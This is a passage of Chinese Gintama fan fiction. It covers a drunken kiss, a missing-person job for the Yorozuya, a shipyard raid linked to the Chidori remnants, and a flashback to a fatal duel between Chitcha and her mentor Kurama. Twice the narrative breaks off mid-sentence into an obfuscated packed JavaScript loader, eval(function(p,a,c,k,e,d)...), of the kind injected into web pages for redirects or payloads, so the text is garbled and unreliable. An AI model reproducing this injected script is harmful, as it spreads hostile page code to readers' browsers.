「除了喝酒,你就没别的事干了吗?」 一道紫色的身影从树上跃下,手里拿着千茶刚丢上去的啤酒。 「别那么凶嘛,菖蒲。」她的声音中带着一丝撒娇的意味,作势要往猿飞那边凑过去,却被对方狠心拦下。 「别用那副以为我不知道你在干什么的态度凑过来我这里!」猿飞指着她大吼,想到刚才看见的画面,又咬牙切齿地继续说「我刚才都看到了!你刚才是准备对我的银桑出手对吧!?」 「才没有那种事。」 「没有那种事?!」你们刚才明显是亲了对吧!还伸舌头了吧!要不是那个小孩及时醒来,伸的绝对已经是别的东西了吧!」 猿飞的反驳声越来越大,引得旁边的路人忍不住朝他们的方向投来好奇的目光。 只不过对于她的指控,千茶也是无力反驳。 她拉开易拉罐,喝了一口啤酒,然后意味深长地望着猿飞,嘴角勾起一抹微笑。 「可是呢,你不也没有阻止吗?」 「你若真的想阻止,明明随时都可以出手的。」 这次反应不过来的人成了猿飞,她下意识地退后了一步,换来的却是千茶的步步迫近。 「你一边说着自己的银桑,却一边眼睁睁看着事情发展,这不是自相矛盾吗?」千茶的声音带着几分揶揄。 猿飞咬了咬下唇,回避着千茶的目光。 「又或者说,你也是在期待着些什么吗?」 千茶垂下握着啤酒罐那边手,向前一步,近得让猿飞能感受到她身上淡淡的酒气与洗发水的淡香。 她伸出手,轻轻托住猿飞的后颈,迫使对方与自己对视。 「我啊,最喜欢菖蒲了。」她说,姿态虽强硬,语气却异常地温柔。 「所以,只要你说一句『请你别再靠近我喜欢的人了』,我以后就不会再和他联络。」 「你……就算你在我面前使手段,也不会改变我对银桑的感情的!」 说实话,她并没有打算使什么手段。 这句话百分之百出自她的真心与好奇。 她想知道,猿飞的容忍底线到底在哪里。 又或者说,在她心目中,自己和银时的地位哪一个更高。 要是猿飞的回答,是会让她和银时保持距离,千茶或许真的会乖乖遵守承诺,不再接近银时。 只不过,要是她没能说出这句话,那么千茶耶不会再顾及到她的存在,只是顺从自己的内心。 41. 酒精害人不浅的道理,到底到几岁才会懂^^…… 睁开眼,是再熟悉不过的和式天花。 坂田银时揉着太阳穴,宿醉带来的不适无论经历多少遍仍然让人难以忍受。 他撑起身子坐了起来,嘴唇上传来的刺痛感让他下意识伸手去碰。 零碎的记忆从唇上的伤口,猛地涌至脑海。 不是,他昨晚借着醉意,到底干了些什么?! 他记得自己昨晚半夜被噩梦惊醒,披了件衣服便出去找了家居酒屋喝上几杯。 后来千茶走进来,坐在他身旁和他一起喝酒,最后还是一起离开的。 到这里他的记忆还算清晰,但离开居酒屋之后呢? 接着发生了什么? 他好像说了什么不得了的话,然后一股劲地按着她的后脑勺,主动吻了上去。 唇上的伤大概就是在那时候被她弄伤的。 然后,他们便?? 等等,这些事是真的发生过吗? 不会又只是一场〇梦吧? 「喂,神乐。昨晚我是什么时候回来的?」银时走出客厅,像平常一样跟神乐搭话,随后小心翼翼地观察着对方的反应。 此时她正凑在电视前,看着周一的午间剧场。 「好像是四点左右吧。」神乐专注在电视里,也没分神去看他。 「我是一个人回来吗?」 「不是啊,是茶茶姐姐送你回来的。」 对上了。 她的回答让银时感觉心脏漏跳了一拍。 「她...有说什么吗?」 「没什么,就是说看到你醉倒连路都走不了,便顺便把你带了回来。」 「然后呢?」 他的不停追问让神乐嗅到一丝不对劲,她趁着广告时段转过头来,仔细打量着他。 「然后就把你扔进房间了,你还撞到了头…该不是撞傻了吧?」她说着,担心地凑到银时面前,垫起脚尖查看他头上有没有鼓包。 「撞到头?是吗……」银时揉了揉后脑勺,确实有一处隐隐作痛「说起来这里确实有点痛呢?哈哈?」 「所以她只是把我扔回房间就回去了?」他再次确认。 神乐醒来时所见的就和他描述的一样,也没多想,只是点了点头。 「是啊,还能怎样。」她理所当然地回答。 该说没有做出冒犯的事让他松了口气,还是说什么都没发生让他有点失落? 看来昨晚的记忆只是他的一场酒后〇梦。 可唇上的伤口却如此真实。 对了,要是真是一场梦,嘴唇上的伤又如何解释? 「银桑,你终于醒来了啊。」 新八的声音从浴室那边传来,他刚刚清洁完浴室走出来。 「等下有客人会来,你快点做准备。」 「客人?这么早就有工作吗?」银时皱了皱眉,宿醉带来的不适感让他实在不想处理任何事情。 「是的,好像是有关找人的委托。」新八说道,一边脱下清洁用的手套和围裙。 「啊...知道了。」 银时心不在焉地回应着,脑海中仍是那些模糊不清的记忆片段。 直到他发现新八直勾勾地盯着自己的嘴唇,一股名为心虚的情绪涌现。 「怎、怎么了吗?」 「昨天不就说了吗,这个天气不涂润唇膏的话,很容易裂开的。」新八说。 银时一愣,下意识摸了摸自己的嘴唇,除了有伤口以外,也确实有些干裂。 「啊…嗯,是啊,天气太干燥了。」他含糊地应道,避开新八的视线。 新八不知道从哪里掏出了一枝未拆包装的唇膏递了上去。 「给你。」 「啊…谢谢。」 看来脑海里的那些记忆,真的只是一场梦。 一场真实得过分的梦罢了。 亏他还在想着是不是应该要正式地去表个白。 真是的… 就像个蠢货一样。 这次的委托人,是一个年过七十的老人,看着面生,说话时的语癖听着也不像本地人。 「万事屋的各位,我想请你们帮我找一个人,」老人拿出了一张照片,上面是一个梳着飞机头、头上架着墨镜,约是二十出头的年轻人。 「这是我的孙子,他来江户寻找工作已经半年了了,但最近一个月完全没有联络。」 银时仔细看了看照片,照片里的人除了夸张的打扮,旁边还停着几辆重型机车,手上握着棒球棍。 「暴走族啊,一个月没见,说不定是在哪个牢里蹲着呢…」 「银桑!」新八低声斥责「不要这么说...」 他转向老人,露出歉意的笑容「抱歉,请您不要在意,能告诉我们更多有关您孙子的事情吗?」 老人苦笑着摇了摇头「他虽然看起来是这样,但实际上是个很乖的孩子。最后一次联络说他找到了工作,但之后就...」 三人看着那张拿着棒球棍拍的照片,一看就不像是什么好孩子。 除了些照片,老人还带来了一些孙子先前送来的信件,厚厚一沓,打开却是剪报拼贴而成的信件,就像是电影里的恐吓信一样。 「唔…那个…」银时皱着眉头看着那些奇怪的信件「你孙子是在恐吓你,还是被人恐吓了?」 老人摇了摇头「这孩子从小就有些...特别。他一直都是用这样的方式写信。」 虽然总觉得有哪里不太对劲,但万事屋还是接下了这一宗委托。 在老人带来的最后那封信中,孙子提到他找到了一份保安的工作,但并未详细说明具体位置和公司名称。 只是透露了他会被安排在一个「特别的地方」工作,需要保密。 把年轻人骗走的最好方法,就是告诉他们在某个地方有些薪水待遇都很好的工作,然后他们就会自投落网。 有时候。也不是因为他们笨。 只是当你毕业,离开学校,真正步入社会,便会发现原来找工作很难,而找到的工作也难以长久。 学校从未教导过如何应对办公室政治,也没教过怎么分辨真诚与虚假的善意。 社会冷酷无情的目光,同侪间的比较、父母的期望。 年轻人们处处碰壁,一次次从打击中站起来,却又不断受到新的打击施压。 在近乎绝望的时刻,任何谎言都会比现实更像一道希望之光。 当然也是有些自视过高的傻子。 但他觉得老人的孙子不是这种情况,这小子的眼神,若仔细观察,能捕捉到一丝叛逆中的锐利光芒,彷佛在寻找某个机会。 也许正是那些无处施展的抱负,才让他踏入了这趟浑水。 既然是暴走族,那么就该去找一些对暴走族有更深认识的人帮忙。 「这家伙我上周在夜总会见过他呢。」泥水组的一个组员说。 「你肯定吗?」 「对,因为当时接待他的是我喜欢的那个小姑娘,让我等了好久。」 如果去问问那个女孩子,很可能会有线索。 毕竟喜欢到娱乐场所逢场作戏的男人,总是会把各种事情都告诉接待的女孩子。 她们一天到头知道的事情也可不少。 新八想着,问起了那个女孩子是谁。 「就是Smile的茶茶。」 听见这个熟悉的名字,银时停顿了一瞬。 谁能告诉他为什么无论去到哪里,都摆脱不了这个女人? 「诶!原来这个暴走族是茶茶姐姐的客人吗。」 「那么不如去问问茶茶小姐那边是否有什么线索吧。」 新八提议着,他拧头看向银时,只见他有些犹豫。 「银桑?」 说实话他并不太想现在去见她。 他早就不是那种和女孩子对视一眼便会血气方刚的毛头小鬼了。 能让他产生这样的绮梦,肯定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤其是黑色顺毛的。 不过,〇癖这种东西,是会随着年纪增长而扩大尺度和范围的,不是吗? 但她决定不这样回答,毕竟这听起来实在太像是在立flag了。 「对呢,所以我才那么喜欢认真又可靠的小陆呢~」 陆奥侧脸看着她,千茶轻轻将头挨在她的肩膀上,巧妙地避开了话题。 然而,陆奥并没有打算到此为止。 「明明给那些家伙付了钱,到关键时刻却还是自己一个人跑出来,是怕让他受伤吗?」 这倒是她想多了。 「不是。我想了很久,还是觉得自己的过去,得由自己亲手做个了断。」 她的声音很轻,几乎要被海风给掩盖。 「再说,休息了那么久,我也该开始做些复健了。」她用平日那般漫不经心的语气说着,又扯了扯陆奥的衣袖。 「所以小陆你就别吃醋嘛。」 「谁吃醋了。」 不远处,几个身影鬼鬼祟祟地在货柜间穿梭,时不时停下来低声交谈。 「好了,现在不是开玩笑的时候」陆奥轻轻推了她一下,声音压低「得专心了,那边有动静。」 千茶点点头,松开了她的衣袖,与陆奥悄悄靠近,藏身于一堆废弃的船舶零件后面,仔细观察着那群人的一举一动。 这次的情报是从黑市那边听来的,说千鸟的余党最近来了地球落脚,更与一群自称攘夷志士的人合作,而那伙人的领头人物正是叫做牛若丸。 又是千鸟。 「看来我们找对地方了。」 「进去看看吗?」陆奥问着,转头看见千茶在按着手机「你在干什么?」 「准备planB。」 42. 越是没打扮的日子,越是容易碰上熟人 来了歌舞伎町之后,浅井千茶觉得自己去过的工厂比起前十九年加起来都要多。 糖果厂的空气是黏糊糊的甜腻,至于她现在身处的船厂,则是有股海水腥臭混合铁锈的刺鼻咸酸味。 而无论那一种,都是同样地惹人作呕。 刚才那群窃窃私语的浪人已经趁着千茶发送短讯的空隙散去了。此刻,偌大的船厂大门前,只留下两个守门的立在门口。 「以陷阱来说,这也未免太过于明显了吧?」 陆奥瞥了她一眼「穿着一身白的人没资格说别人。」 「没关系,反正很快就会染红了。」千茶说着,把脸侧的面具挪到正脸带好。 旁边的人轻笑一声,也跟着压低了头顶的斗笠。 「看来你没打算留活口。」她说。 「说什么呢,我们今天是来给小陆清理门户的,不是吗?那当然是以你的意愿为优先了。」千茶的声音被面具压低了一些,平常的轻佻语气也因此减弱了。 替她清理门户,倒是个很好听的借口,就算被执法人员撞破,也有一个很好的借口。 那个冒牌货的同伙,竟然是千鸟的余党,这真不知该说是巧合还是不幸了。 「那还真是谢谢你了。」 坂田银时在歌舞伎町经营了那么多年的万事屋,论人脉从来都不带输的,很快就在相熟的不动产那里获得了委托人孙子的情报。 他成功联络到那个飞机头的经纪,并在征得房东的同意后,来到了那个年轻人住的公寓。 他在门外等了好久,按了几次门铃,但始终没等到里面的人应门。于是只好去找周遭的邻居打听,直至有个大婶告诉他,自己的丈夫在大田区上班,每天都会和他坐同一辆电车。 大田区靠近东京湾,在都内也算是一个工业区,较大型的工厂、仓库较多设立在那里。 看着歌舞伎町距离不算远,银时决定过去碰碰运气,若现在能遇上,明天就不必一大早起床挤满员电车了。 他漫无目的地在大田区走了一阵,偶尔遇到工人打扮的人便会停下来打听几句。 后来,一位食品厂工人告诉银时,近日有不少从外地来的陌生人在附近的废船厂周围忙活。他说着,眉头一直紧皱,似乎对那些他们没什么好感。 银时跟随着这些零散情报,找到了那人口中的废船厂。他躲在附近的货柜后观察着,很快就注意到有一批穿着奇怪的人进进出出,其中不乏携带武器的浪人。 一看便知道没好事。 「你在这里干什么?」 男人的声音从身后传来,语气严肃而警惕。 坂田银时心里一惊,第一个反应就是被那些人发现了,却没反应过来这是熟人的声线。 他僵硬地扭过头,思考着被抓包后该如何脱身,怎知道… 「你到底在干什么?假发!」银时抽了抽嘴角,右手的拳头握得紧紧的。 「不是假发,是桂。」桂纠正道,然后又问了一遍「你为什么会在这里?」 「我才想问你这个问题吧。」银时皱着眉,视线在桂和远处的废船厂之间来回扫视。 桂从胸口掏出一封类似信件的东西,递给银时。 他接过信件,迅速扫了一眼内容: 桂小太郎 我知道你正在寻找牛若丸的下落,我有他的消息。如果你对我的情报有兴趣,请你「单独」在明天下午到下面的地址。 「这一看就知道是个陷阱啊!你这个白痴该不会是真的一个人跑过来了吧!」银时四周探头想找伊莉莎白和其他桂一派的人,可是一眼看去却不见有其他踪影。 「冷静一点银时,我当然知道是个陷阱,可是这封信还有第二页。」 见桂一脸严谨地说着,银时又翻到后面那张纸: 要是你真的敢一个人来,我就把Jacky搜藏卡的限定金卡送你。 「能抽到那张限定版金卡的人,必定有相当的人品,所以我深信他绝对不是什么坏人。」收信人信心满满地向他解释。 银时盯着那张纸看了许久,额头上隐约浮现起青筋。 「我看坏掉的是你脑袋才对吧!什么Jacky卡片、什么限定版的,这种东西有钱就能买到,人品不人品根本毫无根据!」 「我当然也有考虑过这个问题!」桂激动地为自己澄清着。银时挑了挑眉,示意他继续说下去。 「所以我让伊莉莎白他们随时在附近待命,要是他反口不肯把Jacky的限量金卡给我,我就…」 接下来的字句被银时的拳头强行塞回肚子里。 「那么你是为什么来到这里,银时?」桂揉着头上的鼓包,再次重复这个未被解答的问题。 「刚接了个寻人的委托,然后听说这边有很多可疑的外地人,便打算过来看看有没有我要找的人了。」银时说「想不到竟然是和那个假若丸有关…」 「这件事,要告诉陆奥阁下和小千吗?」桂试探地问着银时。 「等她们赶到,那些人说不定已经跑了。」 「我明白了。」 「那边的人!你们在这里干什么!」 一道粗犷的声音从船厂方向传来,他们迅速转过身,只见两名手持武器的门卫正朝他们走来。这些人用面具掩住了下半张脸,让人难以看清他们的容貌和表情。 「糟了,被发现了。」桂低声道,一只手已经摸向了腰间的刀。 银时也跟着拔洞爷湖,准备随时和对方开展。 男人走到银时和桂的面前,仔细地打量着面前的两人,没料到其中一个似乎认出了他们。 「喂,这两个人我好像认识,就是在歌舞伎町开万事屋的家伙和那个很出名的攘夷志士。」左边的男人小声地对着旁边的伙伴说道。 右边的男人听完之后从怀里掏出了一个小本子,翻开上面写满名单的一页。 「那个,能不能请教一下你们的名字?」 原本打算大展身手,来一场混战闯入的银时和桂被两人的奇怪操作弄得一愣。 他们交换着眼神,都不确定在这种情况下,报上真名是否明智。 不过仔细一想,对方似乎已经认出他们了。 「坂田银时。」 「桂小太郎。」 「坂田和桂…」两个大块头的男人挤在一起,在本子上找着他们的名字。 「啊…看到了、看到了。」 确认他们的名字被列在清单上后,男人们随即换了一副更恭敬的态度。 「请问两位今天也是来这边帮忙的吗?」 他们有些摸不着头脑,但还是决定顺着对方的话。 「啊,对啊,我们是来...帮忙的。」银时摸着脑袋,点着头应是「说起来,这里到底是什么情况?」 「我们也不清楚呢…我们也是早上忽然被喊来的守门的。」 「不过他们已经先进去里面了。你们也要进去吗?」 「啊对,我们要进去。」银时回答,桂也跟着点点头。 虽然并不清楚男人口中的「他们」指的是谁,但从目前情况来看,似乎不是敌人。 他们本来还烦恼着怎样避开守门的人,混进工厂里,怎知道原来得来全不费工夫。 甚至门卫还给他们提供了两把手电筒,说是里面供电不稳,让他们要小心看路。 这对劲吗?这不对劲。 「啊…这绝对是个陷阱。」银时转头看了一眼身后仍在和他们挥手的守门人,心中的不安愈发强烈。 太顺利了,简直是顺利得让人觉得诡异。 「算了,银时。既然都走到这里了,接下来就只能走着办了。」桂说。 前方传来布料磨擦声,银时和桂对视一眼,各自握紧手中的刀,放轻脚步,小心翼翼地上前探查。 然而,当他们转过拐角,映入眼帘的并非什么伏兵或敌人,而是几个手脚被麻绳紧紧绑在一起的男人,他们口里被塞着布条, 身上都带着不同程度的伤,显然是被人击倒后才被绑起来的。 「看了有人比我们先一步到了这里。」 前人把树栽好了,后人才有机会在树下乘凉。 这个道理同样也适用于现在这个情况。 银时和桂这一路能走得如此顺利,全因为在几十分钟前,已有人先一步制服了沿途的埋伏。 「你把他们绑起来是有什么别的打算吗?」陆奥有些不解她的决定,但手里的动作却丝毫没有停下的意思。 「这种杂鱼拿来当投名状最适合不过了。」千茶说,在陆奥把人绑好后,拿出手机给他们拍了张照,随手打了几个字,一并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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空旷的空间里,十数名伤者倒卧在地上,狰狞的伤口大小不一,血液在地面上汇聚成一个个暗红色的水洼。 混乱的中央,唯独一个男人仍然身姿挺拔地站立着,不疾不徐地用衣?擦拭着刀上的鲜血。 听见门口传来脚步声,他缓缓抬起头来,目光直直地与千茶的视线相遇,那双眼睛里没有恐惧,没有愤怒,只有一种近乎平静的冷漠,与不屑。 千茶嫌弃地跨过一条血肉模糊的残肢,迳直地朝男人的方向走去,鞋底与地面接触时发出轻微的黏腻声,让她不禁打了个寒颤。 这是她在这个世界上最讨厌的声音之一。 黏黏糊糊的,脏死了。 「下手还是一如既往的狠辣呢。」她说。 男人却不以为然,把清洁好的刀重新插回腰间的刀鞘里。 千茶并不在意他的无视,走到他的面前,视线轻轻掠过他染血的衣?。 「反正你衣服都脏了,顺带把我的刀也擦一下怎样?」 「要擦就用你自己的衣服。」 「真冷淡呢。」她说着,不顾对方的拒绝,掀起他的衣?,擦拭起手中的刀刃。 男人的目光扫过她的动作,眉头微微皱起,却亦没有阻止。 「怎么了吗?」 千茶注意到对方的视线停留在自己身上,微微抬起头,面具上的天狗鼻差点撞上他的下巴。 男人下意识地向后仰了仰头,躲开了碰撞。 「面具。」 「抱歉、抱歉。」千茶擦了擦手,把面具移到脸侧。 没有了阻碍视线的面具,此时的距离忽然变得更加不恰当。 男人挥去她捏着自己衣?的手,不动声色地退了一步。 千茶像是没有注意到他的躲避,只是低头检查着手里的刀,确保上面没留下血迹后,便将刀收回刀鞘。 他垂下眼睛,目光缓缓扫向千茶。 「你是一个人进来的吗?」 「这个问题嘛…那就要看看,如果我说是的话,你会陪我走到最后吗?」 43. 赌徒永远都是贪得无厌的 自从攘夷战争结束之后,昔日的攘夷四杰各散东西。 有些人选择迈向未来,而有些人则始终停留在过去。 而时间并不会为任何人驻足,日子仍然一天天流逝。战争结束时出生的孩子,如今都已到了接受教育的年纪。 坂本辰马忙于在宇宙捞取星星;桂小太郎终日与真选组斗智斗勇;坂田银时在歌舞伎町混着日子;高杉晋助则一点一点地收集着他丢失的拼图。 重组鬼兵队并不是一件容易的事。 募集人手、获取资源、计划行动…从零开始逐步拼凑。 然后在某一天,他迎来了一个意料之外的访客。 那人是他在战争期间认识的一位前辈,自当年分别后已过了数年。 男人在队员的带领下,来到高杉晋助的面前。他的外表与分别时相差无几,身形依旧高大壮健、衣着朴素,就连身上那股浓烈的烟味,也是十年如一日。 「鞍马前辈。」 高杉望着眼前熟悉的面孔,将嘴边的菸枪缓缓垂下。 「看来你小子现在过得不错。」他的声音比高杉记忆中略显嘶哑。 鞍马四处张望了下,目光掠过几个让他感到面生的鬼兵队成员「重新开始了,嗯?」 「算是吧。」高杉的声音很轻,视线扫向站在一旁的几名队员,随后用眼神朝门口方向示意「让我们单独聊聊。」 接收到他的指示后,房间内很快就只剩下他们二人。 鞍马随意地在高杉对面坐下,从怀中掏出一包烟,不发一语地点燃一支,叼在嘴裏。 「你今天来这裏找我,是想说你也打算和我们一起毁灭这个腐烂的世界吗?」 鞍马吐出一口烟雾,微微摇头。 「我不是来加入你的。」他说,声音沉稳却带着疲惫「有件事情,我考虑了很久,最终还是认为只有你能帮得上忙。」 高杉默默地看着前辈,等待他继续说下去。 鞍马深吸了一口气,缓缓吐出几个字。 「我要死了。」 这句话落下后,室内顿时陷入一片寂静。 高杉盯着鞍马的脸,他此时的表情平静得近乎诡异。 「发生了什麽事?」高杉沉声问道,眼裏快速闪过了一丝的诧异,声线却依然平稳。 「年纪大了,身体不听话了。医生说,如果找不到适合的心脏移植,我撑不过今年冬天。」 一开始,鞍马发现自己胸口偶尔会隐隐作痛,他以为只是姿势不正引起的不适。然而,这种痛感逐渐加剧,出现的频率也越来越高。 在邻居们的强烈劝说下,他最终前往医院做了检查。 检查结果显示,他恐怕也活不长了。 长期的不良饮食习惯和混乱的作息,使他的身体早已损耗至无法挽回的地步。唯一可行的治疗方法,就是从根本上替换器官。 「你想让我帮忙给你找个心脏?」高杉问道,儘管他深知以鞍马的性格,绝不会为了这种事而来。 鞍马听完后禁不住仰头大笑,笑声中带着几分无奈。 「我这副身体不行的哪里只有心脏,还是别浪费了。」 几年未见,高杉隐约觉得面前的人变了许多。印象中的鞍马为人严肃,不苟言笑、寡言少语,绝不会像现在这样与他闲聊这麽多无关紧要的事。 「几年前我在工作的地方捡了个孩子。老来得子嘛,稀罕得不得了。现在要死了,唯一放不下的就只有那孩子。」鞍马说着此话时,眼裏流露着前所未有的温情。 「你这是向我託孤的意思?」 他摇摇头,接着从怀裏掏出了一张被整齐摺叠的发票,然后推到高杉的面前。 高杉扫了一眼,那是一张地下赌场的发票,下注金额已经足够普通人挥霍好几辈子,而这还未计算上赔率。 「这是什麽意思?」 「我把这些年存下的钱全部押下去了,就当是遗产吧。」鞍马说着,转身走向窗边,将视线投向远方。 「你就不怕押错吗?」高杉问。 鞍马听完,却笑得坦然「我教出来的孩子,是绝对不会错的。」 几天后,高杉依照鞍马给他的地址,来到了一个隐藏在非人町的黑市擂台。 凭着旁人的讨论,以及贴满整个场地的海报,高杉总算是搞清了鞍马让他来这裏的用意。 这是一场只有一方死亡才会结束的擂台赛。 红方,高大健硕的身影虽然戴着赤红的天狗面具,但高杉一眼就认出了这是邀请他来的鞍马。 白方,相较于鞍马,身形矮小而纤细,金色长发束在耳后,身着一袭雪白水乾配上天狗面具,在灯光照射下令人目眩。 据场内解说,这位就是绰号「白天狗」的新秀,也是鞍马一手培养的徒弟。 据说他身形虽小但拥有极为敏捷的身手,如同历史上赫赫有名的源义经,加上师承「赤天狗」,人们便常戏称他为牛若丸。 那时高杉便已经猜到,鞍马所说的「老来得子」,指的应该就是这位被他精心培养的徒弟。 自从二人登场,观众的欢呼喝彩便从未停歇。 鞍马曾是这里的台柱,后来选择隐退,并将精心栽培的爱徒推上前台。而这个徒弟也十分争气,多年来始终保持全胜战绩,不辱师傅名声。 因此,当鞍马再次上阵的消息传出后,许多人都不解为何关係如此亲密的师徒,会在生死擂台上兵刃相向。 但更多人对他们之间的实力差距感到好奇,为了这场赛事,赌坊甚至开出了高额赌盘。 高杉将视线投向擂台,他对比赛结果毫无悬念。从那天鞍马的表现来看,这场比赛的结局早已註定。 擂台上的气氛越来越紧张,比赛开始的锣声响起,观众席上的欢呼声更加喧嚣。 白天狗一开始只维持着防守姿态,随着鞍马的进攻越发激烈,他被迫开始化守为攻。 为了减低两人体型差距带来的劣势,他必须比对手更加敏捷,连串的攻击如流水般连贯。 他使出的每个招式都让高杉有种似曾相识的感觉,但他当时并没有特别在意。毕竟白天狗是鞍马的爱徒,招式带着师傅的痕迹再正常不过。 直到白天狗从身后抽出另一把刀,并在移动间迅速转换了握刀姿势。 刀锋在空中划过一道光弧,熟悉的剑风令高杉瞬间凝住了目光。 一瞬间,他彷彿在白天狗的身上看到了故人的影子。 几乎同时,他意识到那个戴着白色天狗面具的少年到底是谁, 「原来是这麽一回事。」 结局虽然早已被鞍马一意孤行地定下。 但这场比试他丝毫没有放水,甚至比高杉记忆中的身姿更加凶猛。 白衣少年硬挺下他的招式,接着在看清他的套路后,巧妙地运用手中双刀,将对手的武器击落。左手的打刀就在一瞬间穿透了鞍马的防守,直直刺入他的胸膛。 一刹那,整个擂台陷入了短暂的寂静,随后爆发出震耳欲聋的欢呼声。 白天狗跪坐在恩师身旁,双手颤抖不已。激烈的战斗消耗了她大量体力,身上佈满了细小的伤口,但她仍强撑着疲惫的身躯,小心翼翼地掀开鞍马的面具,揭露出面具下那张满足而坦然的笑脸。 鞍马的嘴唇微微张合,少年将耳朵凑到他嘴边,聆听着师父最后的嘱咐,直到那双眼睛渐渐失去焦点。 在震耳欲聋的欢呼声中,呆滞的白天狗被评判拉起,对方高举着她那隻被恩师鲜血染红的手,宣告她的胜利。 他的名号被众人热烈传颂,但他没有感受到任何胜利的喜悦,只有窒息般的缺氧感。 羽翼已丰的雏鸟被推出巢外,在不断坠落中学会了拍动翅膀。当牠学会飞翔,回头想再看一眼家巢时,却发现整棵树已然倒下。 她的家无论在哪里、建立几次,始终如此脆弱,一阵风就能将它吹倒。 鞍马的尸体被处理人员抬走,白天狗别过头,目不转睛地直视贵宾席,彷彿要将那里的每一张脸深深刻印在脑海中。 射灯熄灭,擂台开始散场。 高杉跟着散去的人群融入了街头的黑暗,循着鞍马提前告知的小路,来到一个偏僻的小巷。 腐烂血肉的腥臭充斥鼻腔。 对于在战场上浴血而生的他来说,这气味并非难以忍受,但久违的血腥还是让他下意识地皱了皱眉。 所有战死的尸体都被丢弃在同一处,鞍马即使曾是一时的台柱,在失去利用价值后也不例外。 他走在黑暗的巷道中,脚步声在寂静的夜里格外清晰。 「这不太符合规矩…」 「别废话了,开个价吧。」白衣少年的声音刻意地压低。 「一百万。」守卫贪婪地舔了舔嘴唇,眼神闪烁着算计的精光。 她从口袋中掏出一叠大钞,不屑地丢到地上。趁守卫弯身拾钱时,她猛地一脚踢向对方肩膀。守卫痛呼着倒地,还未来得及反应,她已开始狠狠踢击对方的胸口、腹部,最后重重地击中他的双腿之间。 守卫痛苦地在地上蜷缩成一团,发出阵阵悲鸣。 「我今天心情那麽差也看不出来吗?真没眼劲。」少年的声音透过面具传出,毫不掩饰其中的嘲讽。 说完,她一把扯下守卫腰间的钥匙,熟练地打开了身后的铁闸。 不消片刻,高杉看着少年满身血汙,肩上扛着一具熟悉的躯体从闸门后走出,动作轻柔而谨慎,彷彿肩上的人只是仍在熟睡。她将手中的钥匙丢在守卫 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我教出来的孩子,是绝对不会错的。 她确实没有让他失望,不仅成全了他的心愿,还像早有预料一般,连他的后事也安排得妥妥当当。 葬仪屋的人为她递来了乾淨的毛巾,让她能擦掉身上的血汙,但她并没有接过。 「不用了。我身上那麽髒,怎麽擦都不会变乾淨的。」 高杉无法分辨她是刻意压低声音,还是因哽咽而变得沙哑。看着少年身上斑斑血迹,他恍惚间有种错觉,彷彿记忆中的那个人与眼前的她重叠在一起。 失去重要之人后的空洞、违背本心行动后的煎熬,还有无论踏过谁的尸体,依然坚定前行的决心… 还真是如出一辙。 安顿好丧事后,两人无言地走出了葬仪屋。 深夜的街道上空无一人,她缓缓摘下脸上的面具,露出了一张与高杉预期中相符的脸。随后,她深深吸了一口新鲜空气。 非人町特有的,混浊而夹杂着酸臭的空气。 「谢谢你,晋助先生。」她拧过头,朝着高杉深深鞠了一躬。 此时,任何安慰都显得苍白无力,高杉身为过来人,对此再清楚不过。 他只是朝她轻轻点了点头,随后说明了自己此行的目的。 「我明白了。」 千茶领着他来到一间破旧的房子,屋内带着一丝木头的霉味。据她所说,这里是鞍马生前的住处。 牆上的月曆上标註着各种擂臺比赛的时间表,角落则整齐堆放着一些练习用的武具。 她的脸庞比起当年成熟了许多,个子也长了不少,昔日的小女孩如今已是一位亭亭玉立的少女。 「你为什麽会在这里?」高杉一直想问这个问题。 在他记忆中,浅井家是个显赫的大户人家,即使家道中落,也不至于让她流落至非人町这种地方。 「因为…不想结婚嘛,便带着妹妹们一起从家里逃了出来。」 「你父母呢?」 「三代以内都死光了呢。」她轻描淡写地说着,语气平静得像在谈论晴朗的天气适合去远足一般。 她从小就是这样的。 喜欢的小猫死了,只是淡漠地让下人去埋葬。 至亲的哥哥离世,眼角却未曾滴下一滴泪。 她身上的白衣多处被鲜血浸透,有些是鞍马的血,有些则是她自己的。在那场比试中,鞍马明显没有留情,导致她浑身都是大大小小的伤口。 对于这些伤口,她似乎毫不在意,只是目不转睛地盯着自己那双沾满师父鲜血的手。 很髒。 她走到洗手盘前,将双手放在水龙头下冲洗,血水顺着排水口缓缓流走。然而,无论她怎样擦拭、冲洗,那种粘稠的感觉仍残留在皮肤上,彷彿已透过手掌的纹路,渗透进骨子里。 她抓起一旁用来刷锅子的钢丝刷,沿着掌心纹路猛烈擦洗,皮肤很快被刷得通红。随着动作越发用力,掌心的皮肤逐渐擦破,伤口渗出细小的血珠。 「够了。」高杉上前一把抓住她的手腕,将她紧握在手心的钢丝刷抽了出来,随即甩手扔到地上。 千茶的手掌与他的相较,显得格外娇小,且在他掌握中微微颤抖。 淡粉色的水珠沿着指尖滑落,在水槽边缘汇聚成一片细小的积水。 「我还没有洗乾淨…」她喃喃道,试着挣开他的手,但这晚的精神与体力消耗早已耗尽了她的气力。 「髒的不是你的手。」他紧紧扣住她的手腕,将她紧握的掌心展开,然后抽起衣襬,用乾淨的内侧细心擦拭她的手。 「而是这个汙浊的世界。」 44. 重要之物应该是藏于心里,而不是挂在嘴边^…… 脏的是这个世界吗? 好像还真是。 要不然她的两位兄长也不会活不过成年。 她的母亲也不必带着病体,接连生下一个又一个孩子。 而她亦不用在求学的年纪,握起那把屠刀。 但要不是这样,或许她这一辈子都不会遇上那个人。 那个擅自闯进她的生活中,强行改变她人生轨迹;将她视为己出、毫无血缘关系的父亲。 她出生在一个富裕的家庭,父母赋予她出众的容貌、聪慧的资质、健康的身体,可以说是开局即巅峰。 然而,只有身处其中的人才明白,财富和地位是座用金线和宝石所编织的鸟笼,美貌是扣在脚腕的枷锁,至于清晰的头脑,则让她无法以自欺的方式,逃避眼前的真相。 她一路挣扎,踏着父亲兄长的尸体,终于逃离了那个囚笼。 